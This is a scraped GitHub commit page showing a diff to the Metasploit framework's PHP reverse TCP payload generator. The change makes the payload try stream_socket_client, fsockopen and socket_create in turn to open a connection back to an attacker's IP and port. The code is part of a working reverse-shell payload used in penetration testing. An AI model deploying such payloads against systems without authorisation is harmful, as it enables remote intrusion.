We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 75c571d commit e8d4ad8Copy full SHA for e8d4ad8
lib/msf/core/payload/php/reverse_tcp.rb
@@ -60,15 +60,18 @@ def generate_reverse_tcp(opts={})
60
if (($f = 'stream_socket_client') && is_callable($f)) {
61
$s = $f("tcp://{$ip}:{$port}");
62
$s_type = 'stream';
63
-} elseif (($f = 'fsockopen') && is_callable($f)) {
+}
64
+if (!$s && ($f = 'fsockopen') && is_callable($f)) {
65
$s = $f($ip, $port);
66
-} elseif (($f = 'socket_create') && is_callable($f)) {
67
68
+if (!$s && ($f = 'socket_create') && is_callable($f)) {
69
$s = $f(#{ipf}, SOCK_STREAM, SOL_TCP);
70
$res = @socket_connect($s, $ip, $port);
71
if (!$res) { die(); }
72
$s_type = 'socket';
-} else {
73
74
+if (!$s_type) {
75
die('no socket funcs');
76
}
77
if (!$s) { die('no socket'); }
0 commit comments